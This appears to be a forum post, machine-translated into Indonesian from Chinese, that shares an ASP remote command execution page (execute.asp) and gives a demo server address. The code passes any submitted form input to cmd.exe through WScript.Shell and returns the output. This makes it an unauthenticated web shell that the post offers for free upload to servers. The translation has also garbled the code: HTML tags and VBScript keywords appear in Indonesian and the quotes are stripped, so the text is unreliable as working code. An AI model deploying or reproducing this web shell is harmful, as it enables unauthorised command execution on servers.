Baru-baru ini saya menulis alat manajemen server jarak jauh (meminjam sebagian kode dari ASE dan menambahkan remote
Jalankan perintah, unggah, layanan, dan fungsi lainnya. ), mendapat A Xin, ADAM, Chen'er, Ghost_happy,
Saya sangat tersentuh dengan bantuan dari crazybird dan banyak netizen lainnya, jadi saya berencana untuk memposting semua kode aslinya setelah menulisnya.
Diterbitkan dan dapat dimodifikasi serta didistribusikan secara bebas. Yang harus Anda lakukan adalah mengunggah program ke server yang mendukung ASP.
Perlu dicatat bahwa program harus didukung oleh FileSystemObject agar dapat dijalankan. Berikut ini adalah perintah eksekusi jarak jauh
Kode asli. Salin dan simpan sebagai eksekusi.asp.
Alamat demo: http://210.160.4.24/scripts/execute.asp
Ini adalah mesin Jepang yang jelek, jadi karakter Cinanya akan kacau!
<html>
<kepala>
<meta http-equiv=Isi-Bahasa konten=zh-cn>
<meta http-equiv=Jenis Konten konten=teks/html; charset=gb2312>
<nama meta=Konten GENERATOR=Microsoft FrontPage 4.0>
<meta name=ProgId content=FrontPage.Editor.Document>
<title>Jalankan perintah</title>
<gaya>
<!--
tabel, isi{ font-family: 宋体; ukuran font: 9pt }
a{ keluarga font: 宋体; ukuran font: 9pt; warna: rgb(0,32,64);
dekorasi teks: tidak ada }
a:hover{ font-family: 宋体; warna: rgb(255,0,0);
}
a:dikunjungi{ warna: rgb(128,0,0) }
-->
</gaya>
</kepala>
<tubuh bgcolor=#000000 teks=#C0C0C0>
<metode formulir=tindakan POST=eksekusi.asp>
<p align=left>Masukkan perintah yang akan dijalankan: <input type=text name=ml
ukuran=20 nilai=dir c:/ style=warna latar: #C0C0C0 warna:
#000000; gaya batas: padat; lebar batas: 1>
<tipe input=nilai kirim=nama eksekusi=gaya B1=warna latar:
#C0C0C0; warna: #000000; batas: 1 alur #C0C0C0></p>
</bentuk>
<%
ml=permintaan.formulir(ml)
cmd=c:/winnt/system32/cmd.exe /c &ml& >c:/whoamI.txt 'Ubah
Jalur whoamI.txt ke direktori dengan izin menulis
Setel WShShell = Server.CreateObject(WScript.Shell)
RetCode = WShShell.Run(cmd, 1, Benar)
jika RetCode = 0 Lalu
Respon.tulis ml &
Perintah Response.write berhasil dijalankan! &<br><br>
kalau tidak
Eksekusi perintah Response.write gagal! Izin tidak mencukupi atau program tidak dapat dijalankan dalam status DOS
! &<br><br>
berakhir jika
'respons.tulis cmd
fungsihtmlencode(str)
hasilnya redup
redup l
jika isNULL(str) maka
htmlenkode=
fungsi keluar
berakhir jika
aku=len(str)
hasil=
redup
untuk i = 1 sampai l
pilih kasus tengah(str,i,1)
kasus <
hasil=hasil+<
kasus >
hasil=hasil+>
kasus chr(34)
hasil=hasil+
kasus&
hasil=hasil+&
kasus lain
hasil=hasil+pertengahan(str,i,1)
akhir pilih
Berikutnya
htmlencode=hasil
fungsi akhir
Setel fs =CreateObject(Scripting.FileSystemObject)
Set thisfile = fs.OpenTextFile(c:/whoamI.txt, 1, False) 'Baca filenya, jangan lupa
Ubah jalurnya.
penghitung=0
lakukan saat bukan file ini.atendofstream
penghitung=penghitung+1
baris ini=htmlencode(file ini.readline)
respon.tulis baris ini&<br>
lingkaran
file ini.Tutup
atur fs=tidak ada
%>
</tubuh>
</html>